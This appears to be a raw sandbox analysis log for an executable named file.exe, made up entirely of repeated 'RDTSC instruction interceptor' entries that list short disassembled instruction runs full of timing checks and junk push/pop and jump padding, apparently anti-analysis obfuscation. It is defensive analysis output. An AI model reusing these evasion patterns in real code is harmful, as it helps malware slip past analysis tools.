Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118545A second address: 1185466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8F4CECCCE6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185466 second address: 118546B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118572C second address: 1185745 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8F4CECCCE6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F8F4CECCCEDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1185745 second address: 1185762 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8F4C502418h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118589D second address: 11858A3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11858A3 second address: 11858A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E60A second address: 119E632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jbe 00007F8F4CECCD0Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8F4CECCCEAh 0x00000015 jmp 00007F8F4CECCCEEh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093008 second address: 1093012 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8F4C502406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1093012 second address: 1093017 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A00DE second address: 11A010A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8F4C502417h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8F4C50240Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC977 second address: 11AC97B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AC97B second address: 11AC986 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AEB1A second address: 11AEB25 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F8F4CECCCE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8E1A second address: 11C8E1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8E1F second address: 11C8E29 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8F4CECCCECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C7DD1 second address: 11C7DEA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop edi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8F4C50240Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C806F second address: 11C8075 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C84A8 second address: 11C84C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8F4C502413h 0x0000000b jbe 00007F8F4C502406h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C84C8 second address: 11C84D2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8F4CECCCECh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8628 second address: 11C8630 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8630 second address: 11C8639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8639 second address: 11C863F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C863F second address: 11C8643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C8924 second address: 11C894D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F8F4C502406h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F8F4C502418h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C894D second address: 11C895B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FA3D second address: 108FA41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FA41 second address: 108FA85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F8F4CECCCF2h 0x0000000c pop ecx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 pop edx 0x0000001a jmp 00007F8F4CECCCF6h 0x0000001f push eax 0x00000020 push edx 0x00000021 jl 00007F8F4CECCCE6h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CCF56 second address: 11CCF70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502412h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CCF70 second address: 11CCF74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD514 second address: 11CD521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD521 second address: 11CD57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jno 00007F8F4CECCCE6h 0x0000000c pop edx 0x0000000d popad 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007F8F4CECCCE8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D1C89h], ebx 0x0000002f push dword ptr [ebp+122D27A0h] 0x00000035 mov dword ptr [ebp+12450DC4h], esi 0x0000003b call 00007F8F4CECCCE9h 0x00000040 jp 00007F8F4CECCCF8h 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F8F4CECCCEAh 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CD57A second address: 11CD5A7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 je 00007F8F4C50241Eh 0x0000000d ja 00007F8F4C502418h 0x00000013 mov eax, dword ptr [esp+04h] 0x00000017 push ebx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CF07E second address: 11CF084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CF084 second address: 11CF08A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11CEC60 second address: 11CEC64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 527025E second address: 52702D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8F4C502410h 0x00000009 and cx, B3E8h 0x0000000e jmp 00007F8F4C50240Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F8F4C502418h 0x0000001a adc ah, 00000048h 0x0000001d jmp 00007F8F4C50240Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 mov ebp, esp 0x00000028 pushad 0x00000029 mov dx, ax 0x0000002c mov ebx, esi 0x0000002e popad 0x0000002f pop ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F8F4C502419h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250E8E second address: 5250E94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250E94 second address: 5250E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250E98 second address: 5250EB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250EB0 second address: 5250EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250EB4 second address: 5250EDB instructions: 0x00000000 rdtsc 0x00000002 mov ax, D959h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dx, ax 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8F4CECCCF7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250EDB second address: 5250F02 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 53CD2FDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a mov ecx, edi 0x0000000c popad 0x0000000d popad 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 mov ebx, 2DF0505Ch 0x00000015 mov ax, di 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F8F4C50240Ah 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250F02 second address: 5250F2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f call 00007F8F4CECCCF1h 0x00000014 pop ecx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0027 second address: 52A002B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A002B second address: 52A0031 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A0031 second address: 52A009F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8F4C50240Ch 0x00000008 pop esi 0x00000009 mov bh, C1h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F8F4C50240Dh 0x00000014 xchg eax, ebp 0x00000015 pushad 0x00000016 jmp 00007F8F4C50240Ch 0x0000001b push ecx 0x0000001c pushad 0x0000001d popad 0x0000001e pop edx 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F8F4C50240Fh 0x0000002b add si, BF1Eh 0x00000030 jmp 00007F8F4C502419h 0x00000035 popfd 0x00000036 movzx ecx, dx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A009F second address: 52A00A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A00A5 second address: 52A00A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A00A9 second address: 52A00AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A00AD second address: 52A00C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8F4C50240Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52A00C4 second address: 52A00D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52300E0 second address: 52300E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52300E5 second address: 523013A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8F4CECCCF6h 0x0000000f push eax 0x00000010 jmp 00007F8F4CECCCEBh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F8F4CECCCF6h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 pushad 0x00000021 popad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 523013A second address: 5230140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230140 second address: 5230144 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230144 second address: 5230148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5230148 second address: 52301BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+04h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F8F4CECCCF3h 0x00000012 jmp 00007F8F4CECCCF3h 0x00000017 popfd 0x00000018 pushfd 0x00000019 jmp 00007F8F4CECCCF8h 0x0000001e adc cx, 39C8h 0x00000023 jmp 00007F8F4CECCCEBh 0x00000028 popfd 0x00000029 popad 0x0000002a push dword ptr [ebp+0Ch] 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F8F4CECCCF0h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52301BE second address: 52301C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52301C4 second address: 52301DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52301DF second address: 52301E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52301E5 second address: 52301EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52301EB second address: 52301EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52507CD second address: 52507D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52507D3 second address: 52507F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C50240Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, di 0x00000012 mov edx, 478D0DF2h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52507F1 second address: 52507F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52507F7 second address: 52507FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52507FB second address: 5250836 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F8F4CECCCEDh 0x00000015 jmp 00007F8F4CECCCF0h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250836 second address: 5250848 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F4C50240Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250848 second address: 525084C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 525084C second address: 525085E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx ecx, di 0x0000000f mov dl, 4Dh 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250690 second address: 5250695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250695 second address: 52506A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8F4C50240Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52506A8 second address: 52506CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52506CD second address: 52506EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F8F4C502419h 0x00000009 pop ecx 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52506EC second address: 5250741 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F8F4CECCCF1h 0x00000010 popad 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 jmp 00007F8F4CECCCF6h 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e call 00007F8F4CECCCEDh 0x00000023 pop esi 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250399 second address: 52503F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8F4C50240Bh 0x00000009 or al, FFFFFFBEh 0x0000000c jmp 00007F8F4C502419h 0x00000011 popfd 0x00000012 push eax 0x00000013 pop edx 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007F8F4C502416h 0x00000021 or ax, 18E8h 0x00000026 jmp 00007F8F4C50240Bh 0x0000002b popfd 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52503F6 second address: 5250490 instructions: 0x00000000 rdtsc 0x00000002 movzx ecx, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 call 00007F8F4CECCCF5h 0x0000000c call 00007F8F4CECCCF0h 0x00000011 pop eax 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 pushad 0x00000017 movsx ebx, si 0x0000001a pushfd 0x0000001b jmp 00007F8F4CECCCF6h 0x00000020 jmp 00007F8F4CECCCF5h 0x00000025 popfd 0x00000026 popad 0x00000027 movzx eax, di 0x0000002a popad 0x0000002b xchg eax, ebp 0x0000002c jmp 00007F8F4CECCCF3h 0x00000031 mov ebp, esp 0x00000033 jmp 00007F8F4CECCCF6h 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5250490 second address: 52504AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4C502419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52504AD second address: 52504B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52504B3 second address: 52504B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526022A second address: 5260239 instructions: 0x00000000 rdtsc 0x00000002 movsx edi, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260239 second address: 526023D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 526023D second address: 5260243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260243 second address: 5260249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5260249 second address: 52602C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8F4CECCCEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov edx, eax 0x0000000f pushfd 0x00000010 jmp 00007F8F4CECCCF0h 0x00000015 jmp 00007F8F4CECCCF5h 0x0000001a popfd 0x0000001b popad 0x0000001c mov ebp, esp 0x0000001e jmp 00007F8F4CECCCEEh 0x00000023 pop ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007F8F4CECCCEDh 0x0000002d or ax, 2466h 0x00000032 jmp 00007F8F4CECCCF1h 0x00000037 popfd 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
